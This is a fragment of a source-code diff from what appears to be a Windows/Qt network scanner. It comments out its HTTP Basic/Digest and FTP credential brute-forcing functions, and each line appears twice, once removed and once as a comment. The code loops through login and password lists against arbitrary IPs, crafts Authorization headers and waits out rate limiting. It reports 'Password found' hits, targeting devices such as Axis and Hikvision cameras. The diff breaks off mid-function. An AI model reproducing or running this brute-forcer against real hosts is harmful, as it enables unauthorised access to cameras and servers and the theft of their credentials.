if(strstr(path, "/axis-cgi/com/ptz.cgi?") != NULL) +// { +// int sz = strlen("/view/viewer_index.shtml"); +// strncpy(path, "/view/viewer_index.shtml", sz); +// memset(path + sz, 0, 1); +// goon = true; +// } +// else +// { +// strcpy(lps.other, QString("[404 Not Found (" + QString(path) + ")]").toLocal8Bit().data()); +// isActive = 0; +// return lps; +// }; +// } +// else if( // +// (strstr(headerMsg, ".1 403") != NULL // +// || strstr(headerMsg, ".0 403") != NULL //Hikkvision2 +// ) // +// && strstr(headerMsg, "badAuthorization") != NULL // +// ) +// { +// goon = true; +// } +// else if(strlen(headerMsg) < 16) +// { +// goon = true; +// stt->doEmitionRedFoundData("Corrupted reply: (" + QString(headerMsg) + ") " + QString(ip) + ":"+ QString::number(port)); +// }; - if(goon == false) - { - strcpy(lps.login, "NULL"); - strcpy(lps.pass, "NULL"); - isActive = 0; - return lps; - }; - }; +// if(goon == false) +// { +// strcpy(lps.login, "NULL"); +// strcpy(lps.pass, "NULL"); +// isActive = 0; +// return lps; +// }; +// }; - isActive = 1; - char tPass[256] = {0}; - char curLogin[256] = {0}; - char curPass[256] = {0}; - int cCode; - int dataSz = 0; - char request[REQUEST_MAX_SIZE] = {0}; - char recvBuff[4096] = {0}; - char recvBuff2[512] = {0}; - char pass[256] = {0}; +// isActive = 1; +// char tPass[256] = {0}; +// char curLogin[256] = {0}; +// char curPass[256] = {0}; +// int cCode; +// int dataSz = 0; +// char request[REQUEST_MAX_SIZE] = {0}; +// char recvBuff[4096] = {0}; +// char recvBuff2[512] = {0}; +// char pass[256] = {0}; - char localBuff[4096] = {0}; - strcpy(localBuff, headerMsg); - int passCounter = 1; - char attribute[2048] = {0}; - char nonce[512] = {0}; - char realm[512] = {0}; - char opaque[512] = {0}; - char qop[64] = {0}; - std::string encoded = ""; +// char localBuff[4096] = {0}; +// strcpy(localBuff, headerMsg); +// int passCounter = 1; +// char attribute[2048] = {0}; +// char nonce[512] = {0}; +// char realm[512] = {0}; +// char opaque[512] = {0}; +// char qop[64] = {0}; +// std::string encoded = ""; - for(int i = 0; i < MaxLogin; i++) - { - if(globalScanFlag == false) break; - for (int j = 0; j < MaxPass; j++) - { - if (globalScanFlag == false) break; +// for(int i = 0; i < MaxLogin; i++) +// { +// if(globalScanFlag == false) break; +// for (int j = 0; j < MaxPass; j++) +// { +// if (globalScanFlag == false) break; - ZeroMemory(request, REQUEST_MAX_SIZE); - ZeroMemory(curLogin, sizeof(curLogin)); - ZeroMemory(curPass, sizeof(curPass)); - strcpy(curLogin, loginLst[i]); - strcpy(curPass, passLst[j]); +// ZeroMemory(request, REQUEST_MAX_SIZE); +// ZeroMemory(curLogin, sizeof(curLogin)); +// ZeroMemory(curPass, sizeof(curPass)); +// strcpy(curLogin, loginLst[i]); +// strcpy(curPass, passLst[j]); - if (strcmp(method, "[DIGEST]") == 0 && strstr(localBuff, "nonce=") != NULL) - { - ZeroMemory(attribute, sizeof(attribute)); -// strcpy(attribute, _getAttribute(localBuff, "WWW-Authenticate:")); - ZeroMemory(nonce, sizeof(nonce)); - strcpy(nonce, _getAttributeValue(attribute, "nonce=", ip, port)); - ZeroMemory(realm, sizeof(realm)); - strcpy(realm, _getAttributeValue(attribute, "realm=", ip, port)); - ZeroMemory(qop, sizeof(qop)); - if (strstri(attribute, "qop") != NULL) - { - strcpy(qop, _getAttributeValue(attribute, "qop=", ip, port)); - }; +// if (strcmp(method, "[DIGEST]") == 0 && strstr(localBuff, "nonce=") != NULL) +// { +// ZeroMemory(attribute, sizeof(attribute)); +//// strcpy(attribute, _getAttribute(localBuff, "WWW-Authenticate:")); +// ZeroMemory(nonce, sizeof(nonce)); +// strcpy(nonce, _getAttributeValue(attribute, "nonce=", ip, port)); +// ZeroMemory(realm, sizeof(realm)); +// strcpy(realm, _getAttributeValue(attribute, "realm=", ip, port)); +// ZeroMemory(qop, sizeof(qop)); +// if (strstri(attribute, "qop") != NULL) +// { +// strcpy(qop, _getAttributeValue(attribute, "qop=", ip, port)); +// }; - strcpy(request, "GET "); - strcat(request, path); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if (port != 80){ - strcat(request, ":"); - char tbuff[16] = { 0 }; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - if (cookieLen != 0) - { - strcat(request, "\r\nCookie: "); - strcat(request, cookie); - }; +// strcpy(request, "GET "); +// strcat(request, path); +// strcat(request, " HTTP/1.1\r\nHost: "); +// strcat(request, ip); +// if (port != 80){ +// strcat(request, ":"); +// char tbuff[16] = { 0 }; +// sprintf(tbuff, "%d", port); +// strcat(request, tbuff); +// }; +// if (cookieLen != 0) +// { +// strcat(request, "\r\nCookie: "); +// strcat(request, cookie); +// }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Digest username=\""); - strcat(request, curLogin); - strcat(request, "\", realm=\""); - strcat(request, realm); - strcat(request, "\", nonce=\""); - strcat(request, nonce); - strcat(request, "\", uri=\""); - strcat(request, path); - strcat(request, "\", qop=auth, response=\""); - strcat(request, _makeDigestResponse(curLogin, realm, curPass, path, nonce, "10000001", "9d531d56796e0dc9", qop)); - if (strstri(attribute, "opaque") != NULL) - { - ZeroMemory(opaque, sizeof(opaque)); - strcpy(opaque, _getAttributeValue(attribute, "opaque=", ip, port)); - strcat(request, "\", opaque=\""); - strcat(request, opaque); - }; - strcat(request, "\", nc=10000001, cnonce=\"9d531d56796e0dc9\""); - strcat(request, "\r\nConnection: close\r\n\r\n"); - } - else - { - ZeroMemory(tPass, sizeof(tPass)); - strncpy(tPass, curLogin, strlen(curLogin)); - strcat(tPass, ":"); - strncat(tPass, curPass, strlen(curPass)); - encoded = base64_encode((const unsigned char *)tPass, strlen(tPass)); - strcpy(request, "GET "); - strcat(request, path); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if (port != 80){ - strcat(request, ":"); - char tbuff[16] = { 0 }; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - if (cookieLen != 0) - { - strcat(request, "\r\nCookie: "); - strcat(request, cookie); - }; +// strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Digest username=\""); +// strcat(request, curLogin); +// strcat(request, "\", realm=\""); +// strcat(request, realm); +// strcat(request, "\", nonce=\""); +// strcat(request, nonce); +// strcat(request, "\", uri=\""); +// strcat(request, path); +// strcat(request, "\", qop=auth, response=\""); +// strcat(request, _makeDigestResponse(curLogin, realm, curPass, path, nonce, "10000001", "9d531d56796e0dc9", qop)); +// if (strstri(attribute, "opaque") != NULL) +// { +// ZeroMemory(opaque, sizeof(opaque)); +// strcpy(opaque, _getAttributeValue(attribute, "opaque=", ip, port)); +// strcat(request, "\", opaque=\""); +// strcat(request, opaque); +// }; +// strcat(request, "\", nc=10000001, cnonce=\"9d531d56796e0dc9\""); +// strcat(request, "\r\nConnection: close\r\n\r\n"); +// } +// else +// { +// ZeroMemory(tPass, sizeof(tPass)); +// strncpy(tPass, curLogin, strlen(curLogin)); +// strcat(tPass, ":"); +// strncat(tPass, curPass, strlen(curPass)); +// encoded = base64_encode((const unsigned char *)tPass, strlen(tPass)); +// strcpy(request, "GET "); +// strcat(request, path); +// strcat(request, " HTTP/1.1\r\nHost: "); +// strcat(request, ip); +// if (port != 80){ +// strcat(request, ":"); +// char tbuff[16] = { 0 }; +// sprintf(tbuff, "%d", port); +// strcat(request, tbuff); +// }; +// if (cookieLen != 0) +// { +// strcat(request, "\r\nCookie: "); +// strcat(request, cookie); +// }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic "); - strcat(request, encoded.c_str()); - strcat(request, "\r\nConnection: close\r\n\r\n"); - }; +// strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic "); +// strcat(request, encoded.c_str()); +// strcat(request, "\r\nConnection: close\r\n\r\n"); +// }; - if (port == 443) - { - ZeroMemory(recvBuff, sizeof(recvBuff)); - if (BALogSwitched) stt->doEmitionBAData("Probing SSL:BA " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(tPass) + ";"); - _baSSLWorker(ip, request, recvBuff); - dataSz = strlen(recvBuff); - } +// if (port == 443) +// { +// ZeroMemory(recvBuff, sizeof(recvBuff)); +// if (BALogSwitched) stt->doEmitionBAData("Probing SSL:BA " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(tPass) + ";"); +// _baSSLWorker(ip, request, recvBuff); +// dataSz = strlen(recvBuff); +// } - else - { - SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); +// else +// { +// SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); +// cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if (cCode == SOCKET_ERROR) { +// if (cCode == SOCKET_ERROR) { - int errorCode = WSAGetLastError(); - if (errorCode == WSAENOTSOCK) { +// int errorCode = WSAGetLastError(); +// if (errorCode == WSAENOTSOCK) { - while (errorCode == WSAENOTSOCK) - { - if (gDebugMode) stt->doEmitionDebugFoundData("[BA][ENOTSOCK] - [" + QString(ip) + ":" + QString::number(port) + "]"); - CSSOCKET(sock); - sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - errorCode = WSAGetLastError(); - }; - } - else { +// while (errorCode == WSAENOTSOCK) +// { +// if (gDebugMode) stt->doEmitionDebugFoundData("[BA][ENOTSOCK] - [" + QString(ip) + ":" + QString::number(port) + "]"); +// CSSOCKET(sock); +// sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); +// cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); +// errorCode = WSAGetLastError(); +// }; +// } +// else { - CSSOCKET(sock); +// CSSOCKET(sock); - if (errorCode != WSAETIMEDOUT) - { - stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]"); - }; +// if (errorCode != WSAETIMEDOUT) +// { +// stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]"); +// }; - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - } - else { +// isActive = 0; +// strcpy(lps.login, "UNKNOWN"); +// return lps; +// }; +// } +// else { - int x = 1; - Activity += strlen(request); +// int x = 1; +// Activity += strlen(request); - if (send(sock, request, strlen(request), 0) != SOCKET_ERROR) - { - if (MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); - dataSz = 0; - ZeroMemory(recvBuff2, sizeof(recvBuff2)); - ZeroMemory(recvBuff, sizeof(recvBuff)); - while (x > 0 && dataSz < 3384) - { - ZeroMemory(recvBuff2, sizeof(recvBuff2)); - x = recvWT(sock, recvBuff2, sizeof(recvBuff2), gTimeOut + 5, &bTO); +// if (send(sock, request, strlen(request), 0) != SOCKET_ERROR) +// { +// if (MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); +// dataSz = 0; +// ZeroMemory(recvBuff2, sizeof(recvBuff2)); +// ZeroMemory(recvBuff, sizeof(recvBuff)); +// while (x > 0 && dataSz < 3384) +// { +// ZeroMemory(recvBuff2, sizeof(recvBuff2)); +// x = recvWT(sock, recvBuff2, sizeof(recvBuff2), gTimeOut + 5, &bTO); - dataSz += x; - Activity += x; - strncat(recvBuff, recvBuff2, x); - }; - if (BALogSwitched) stt->doEmitionBAData("Checked BA: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(curLogin) + ":" + QString(curPass) + "; - Progress: (" + QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); - } - else - { - stt->doEmitionRedFoundData("[BA] Send error! [" + QString(ip) + "]"); +// dataSz += x; +// Activity += x; +// strncat(recvBuff, recvBuff2, x); +// }; +// if (BALogSwitched) stt->doEmitionBAData("Checked BA: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(curLogin) + ":" + QString(curPass) + "; - Progress: (" + QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); +// } +// else +// { +// stt->doEmitionRedFoundData("[BA] Send error! [" + QString(ip) + "]"); - CSSOCKET(sock); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - } - }; - CSSOCKET(sock); - }; +// CSSOCKET(sock); +// isActive = 0; +// strcpy(lps.login, "UNKNOWN"); +// return lps; +// } +// }; +// CSSOCKET(sock); +// }; - if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); +// if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); - if (dataSz == 0) - { - stt->doEmitionBAData("[BA] No reply from: " + QString(ip) + "; Repeating..."); - --j; - continue; - } - else - { - ++passCounter; - }; +// if (dataSz == 0) +// { +// stt->doEmitionBAData("[BA] No reply from: " + QString(ip) + "; Repeating..."); +// --j; +// continue; +// } +// else +// { +// ++passCounter; +// }; - if (strcmp(method, "[DIGEST]") == 0) - { - ZeroMemory(localBuff, sizeof(localBuff)); - strcpy(localBuff, recvBuff); - }; - if (strstri(recvBuff, "http/1.1 401") != NULL - || strstri(recvBuff, "http/1.0 401") != NULL - || (strstri(recvBuff, "200 ok") != NULL - && strstri(recvBuff, "<statusValue>401</statusValue>") != NULL - && strstri(recvBuff, "<statusString>Unauthorized</statusString>") != NULL) - ) - { - Sleep(200); - } else - //if(strstri(recvBuff, "http/1.1 401") == NULL - // || strstri(recvBuff, "http/1.0 401") == NULL - // ) - //{ - // if ((strstri(recvBuff, "200 ok") != NULL - // || strstri(recvBuff, "http/1.0 200") != NULL - // || strstri(recvBuff, "http/1.1 200") != NULL - // ) - // && strstr(headerMsg, "неправильны") == NULL - // && strstr(headerMsg, "Неправильны") == NULL - // && strstr(headerMsg, "Неправильны") == NULL) - // { - // } - // stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")"); - // Sleep(200); - // ///dummy/// - //} - if(strstri(recvBuff, "503 service unavailable") != NULL - || strstri(recvBuff, "http/1.1 503") != NULL - || strstri(recvBuff, "http/1.0 503") != NULL - || strstr(recvBuff, "400 BAD_REQUEST") != NULL - || strstri(recvBuff, "400 bad request") != NULL - || strstr(recvBuff, "403 Forbidden") != NULL - ) - { - stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")"); +// if (strcmp(method, "[DIGEST]") == 0) +// { +// ZeroMemory(localBuff, sizeof(localBuff)); +// strcpy(localBuff, recvBuff); +// }; +// if (strstri(recvBuff, "http/1.1 401") != NULL +// || strstri(recvBuff, "http/1.0 401") != NULL +// || (strstri(recvBuff, "200 ok") != NULL +// && strstri(recvBuff, "<statusValue>401</statusValue>") != NULL +// && strstri(recvBuff, "<statusString>Unauthorized</statusString>") != NULL) +// ) +// { +// Sleep(200); +// } else +// //if(strstri(recvBuff, "http/1.1 401") == NULL +// // || strstri(recvBuff, "http/1.0 401") == NULL +// // ) +// //{ +// // if ((strstri(recvBuff, "200 ok") != NULL +// // || strstri(recvBuff, "http/1.0 200") != NULL +// // || strstri(recvBuff, "http/1.1 200") != NULL +// // ) +// // && strstr(headerMsg, "неправильны") == NULL +// // && strstr(headerMsg, "Неправильны") == NULL +// // && strstr(headerMsg, "Неправильны") == NULL) +// // { +// // } +// // stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")"); +// // Sleep(200); +// // ///dummy/// +// //} +// if(strstri(recvBuff, "503 service unavailable") != NULL +// || strstri(recvBuff, "http/1.1 503") != NULL +// || strstri(recvBuff, "http/1.0 503") != NULL +// || strstr(recvBuff, "400 BAD_REQUEST") != NULL +// || strstri(recvBuff, "400 bad request") != NULL +// || strstr(recvBuff, "403 Forbidden") != NULL +// ) +// { +// stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")"); - if(j > 0) --j; - Sleep(30000); - } - else if((strstri(recvBuff, "http/1.1 404") != NULL - || strstri(recvBuff, "http/1.0 404") != NULL - ) - && strstri(recvBuff, "Authorization required") == NULL - ) - { - if(HTMLDebugMode) _DebugWriteHTMLToFile(request, recvBuff); +// if(j > 0) --j; +// Sleep(30000); +// } +// else if((strstri(recvBuff, "http/1.1 404") != NULL +// || strstri(recvBuff, "http/1.0 404") != NULL +// ) +// && strstri(recvBuff, "Authorization required") == NULL +// ) +// { +// if(HTMLDebugMode) _DebugWriteHTMLToFile(request, recvBuff); - if (i > 0 || j > 0) stt->doEmitionYellowFoundData("[?] Unexpected 404. Check <u>" + QString(ip) + ":" + QString::number(port) + " l/p:" + QString(tPass) + "</u> manually. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); - else stt->doEmitionRedFoundData("[-] 404 - Wrong path detected. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); +// if (i > 0 || j > 0) stt->doEmitionYellowFoundData("[?] Unexpected 404. Check <u>" + QString(ip) + ":" + QString::number(port) + " l/p:" + QString(tPass) + "</u> manually. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); +// else stt->doEmitionRedFoundData("[-] 404 - Wrong path detected. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - } - else if ((strstri(recvBuff, "200 ok") != NULL - || strstri(recvBuff, "http/1.0 200") != NULL - || strstri(recvBuff, "http/1.1 200") != NULL - ) - && strstri(recvBuff, "http/1.1 401 ") == NULL - && strstri(recvBuff, "http/1.0 401 ") == NULL - && strstri(recvBuff, "<statusValue>401</statusValue>") == NULL - && strstri(recvBuff, "<statusString>Unauthorized</statusString>") == NULL - && strstri(recvBuff, "неправильны") == NULL - && strstri(recvBuff, "Неправильны") == NULL - && dataSz > 13 - ) - { - if(strstri(recvBuff, "access is denied") == NULL - && strstri(recvBuff, "iisstart") == NULL - && strstri(recvBuff, "Location:") == NULL - && strstri(recvBuff, "access forbidden") == NULL - ) - { - ZeroMemory(pass, sizeof(pass)); - strcpy(pass, ip); - strcat(pass, " - Password found: "); - strcat(pass, tPass); - isActive = 0; - stt->doEmition_BAGreenData("[+] " + QString(pass)); - strcpy(lps.login, curLogin); - strcpy(lps.pass, curPass); - return lps; - }; - } - else - { - if (strstri(recvBuff, "неправильны") == NULL - && strstri(recvBuff, "Неправильны") == NULL) - { - ZeroMemory(pass, sizeof(pass)); - sprintf(pass, "%s - Password found: %s", ip, tPass); - char *pt1 = strstr(recvBuff, " "); - if(pt1 != NULL) - { - char *pt2 = strstr(pt1 + 1, " "); - if(pt2 != NULL) - { - int sz = pt2 - pt1 - 1; - char tempHeaderCode[16] = {0}; - strncpy(tempHeaderCode, pt1 + 1, sz); +// isActive = 0; +// strcpy(lps.login, "UNKNOWN"); +// return lps; +// } +// else if ((strstri(recvBuff, "200 ok") != NULL +// || strstri(recvBuff, "http/1.0 200") != NULL +// || strstri(recvBuff, "http/1.1 200") != NULL +// ) +// && strstri(recvBuff, "http/1.1 401 ") == NULL +// && strstri(recvBuff, "http/1.0 401 ") == NULL +// && strstri(recvBuff, "<statusValue>401</statusValue>") == NULL +// && strstri(recvBuff, "<statusString>Unauthorized</statusString>") == NULL +// && strstri(recvBuff, "неправильны") == NULL +// && strstri(recvBuff, "Неправильны") == NULL +// && dataSz > 13 +// ) +// { +// if(strstri(recvBuff, "access is denied") == NULL +// && strstri(recvBuff, "iisstart") == NULL +// && strstri(recvBuff, "Location:") == NULL +// && strstri(recvBuff, "access forbidden") == NULL +// ) +// { +// ZeroMemory(pass, sizeof(pass)); +// strcpy(pass, ip); +// strcat(pass, " - Password found: "); +// strcat(pass, tPass); +// isActive = 0; +// stt->doEmition_BAGreenData("[+] " + QString(pass)); +// strcpy(lps.login, curLogin); +// strcpy(lps.pass, curPass); +// return lps; +// }; +// } +// else +// { +// if (strstri(recvBuff, "неправильны") == NULL +// && strstri(recvBuff, "Неправильны") == NULL) +// { +// ZeroMemory(pass, sizeof(pass)); +// sprintf(pass, "%s - Password found: %s", ip, tPass); +// char *pt1 = strstr(recvBuff, " "); +// if(pt1 != NULL) +// { +// char *pt2 = strstr(pt1 + 1, " "); +// if(pt2 != NULL) +// { +// int sz = pt2 - pt1 - 1; +// char tempHeaderCode[16] = {0}; +// strncpy(tempHeaderCode, pt1 + 1, sz); - if(strcmp(tempHeaderCode, "302") == 0 && strcmp(tempHeaderCode, "200") == 0) stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (" + QString(tempHeaderCode) + ") IP: <a style=\"color: #efe100;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "\">" + QString(ip) + ":" + QString::number(port) + "</a>"); - strcpy(lps.login, curLogin); - strcpy(lps.pass, curPass); - return lps; - }; - }; - stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (?) IP: <a style=\"color: #efe100;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "\">" + QString(ip) + ":" + QString::number(port) + "</a>"); - strcpy(lps.login, curLogin); - strcpy(lps.pass, curPass); - isActive = 0; - return lps; - } - else Sleep(200); - }; +// if(strcmp(tempHeaderCode, "302") == 0 && strcmp(tempHeaderCode, "200") == 0) stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (" + QString(tempHeaderCode) + ") IP: <a style=\"color: #efe100;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "\">" + QString(ip) + ":" + QString::number(port) + "</a>"); +// strcpy(lps.login, curLogin); +// strcpy(lps.pass, curPass); +// return lps; +// }; +// }; +// stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (?) IP: <a style=\"color: #efe100;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "\">" + QString(ip) + ":" + QString::number(port) + "</a>"); +// strcpy(lps.login, curLogin); +// strcpy(lps.pass, curPass); +// isActive = 0; +// return lps; +// } +// else Sleep(200); +// }; - if(strstr(recvBuff, "Set-Cookie:") != NULL) - { - ZeroMemory(cookie, COOKIE_MAX_SIZE); -// strncpy(cookie, _getAttribute(recvBuff, "Set-Cookie:"), COOKIE_MAX_SIZE); - cookieLen = strlen(cookie); - }; - }; - }; +// if(strstr(recvBuff, "Set-Cookie:") != NULL) +// { +// ZeroMemory(cookie, COOKIE_MAX_SIZE); +//// strncpy(cookie, _getAttribute(recvBuff, "Set-Cookie:"), COOKIE_MAX_SIZE); +// cookieLen = strlen(cookie); +// }; +// }; +// }; - isActive = 0; +// isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; -} +// strcpy(lps.login, "UNKNOWN"); +// return lps; +//} -lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method) -{ - while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); +//lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method) +//{ +// while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); - BruteUtils::BConInc(); - lopaStr res = _BABrute(cookie, ip, port, path, method); - BruteUtils::BConDec(); +// BruteUtils::BConInc(); +// lopaStr res = _BABrute(cookie, ip, port, path, method); +// BruteUtils::BConDec(); - return res; -} +// return res; +//} -lopaStr _FTPBrute(char *ip, int port, PathStr *ps) -{ - lopaStr lps; - ZeroMemory(lps.login, sizeof(lps.login)); - ZeroMemory(lps.pass, sizeof(lps.pass)); - ZeroMemory(lps.other, sizeof(lps.other)); +//lopaStr _FTPBrute(char *ip, int port, PathStr *ps) +//{ +// lopaStr lps; +// ZeroMemory(lps.login, sizeof(lps.login)); +// ZeroMemory(lps.pass, sizeof(lps.pass)); +// ZeroMemory(lps.other, sizeof(lps.other)); - char recvBuff[1024] = {0}, request[64] = {0}; - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(port); - HOSTENT *host; +// char recvBuff[1024] = {0}, request[64] = {0}; +// sockaddr_in sockAddr; +// sockAddr.sin_family = AF_INET; +// sockAddr.sin_port = htons(port); +// HOSTENT *host; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - strcpy(lps.login, "UNKNOWN"); - return lps; - }; -#else - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - strcpy(lps.login, "UNKNOWN"); - return lps; - }; -#endif +//#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +// if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); +// else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +// else +// { +// strcpy(lps.login, "UNKNOWN"); +// return lps; +// }; +//#else +// if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); +// else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +// else +// { +// strcpy(lps.login, "UNKNOWN"); +// return lps; +// }; +//#endif - bool breakPassLoop = 0; - int passCounter = 1; - int bTO; - int x = 0; - int connectionResult, closedSocket = 1, loginFailedFlag = 0; +// bool breakPassLoop = 0; +// int passCounter = 1; +// int bTO; +// int x = 0; +// int connectionResult, closedSocket = 1, loginFailedFlag = 0; - SOCKET sockFTP; - for(int i = 0; i < MaxLogin; ++i) - { - if(globalScanFlag == false) break; - if(strlen(loginLst[i]) <= 1) continue; +// SOCKET sockFTP; +// for(int i = 0; i < MaxLogin; ++i) +// { +// if(globalScanFlag == false) break; +// if(strlen(loginLst[i]) <= 1) continue; - for(int j = 0; j < MaxPass; ++j) - { - if(globalScanFlag == false) break; - if(strlen(passLst[j]) <= 1) continue; +// for(int j = 0; j < MaxPass; ++j) +// { +// if(globalScanFlag == false) break; +// if(strlen(passLst[j]) <= 1) continue; - if(closedSocket) - { - closedSocket = 0; - sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); +// if(closedSocket) +// { +// closedSocket = 0; +// sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); +// connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); - while(WSAGetLastError() == WSAENOTSOCK) - { - if(gDebugMode) stt->doEmitionDebugFoundData("[FTP][ENOTSOCK] [" + QString(ip) + ":" + QString::number(port) + "]"); - CSSOCKET(sockFTP); - sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); - }; - loginFailedFlag = 0; - }; +// while(WSAGetLastError() == WSAENOTSOCK) +// { +// if(gDebugMode) stt->doEmitionDebugFoundData("[FTP][ENOTSOCK] [" + QString(ip) + ":" + QString::number(port) + "]"); +// CSSOCKET(sockFTP); +// sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); +// connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); +// }; +// loginFailedFlag = 0; +// }; - isActive = 1; +// if(connectionResult != SOCKET_ERROR) +// { +// x = 0; +// while (true) +// { +// Sleep(100); +// ZeroMemory(recvBuff, 1024); +// x = recvWT(sockFTP, recvBuff, 1024, gTimeOut + 5, &bTO); +// if(x <= 0) break; +// if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); - if(connectionResult != 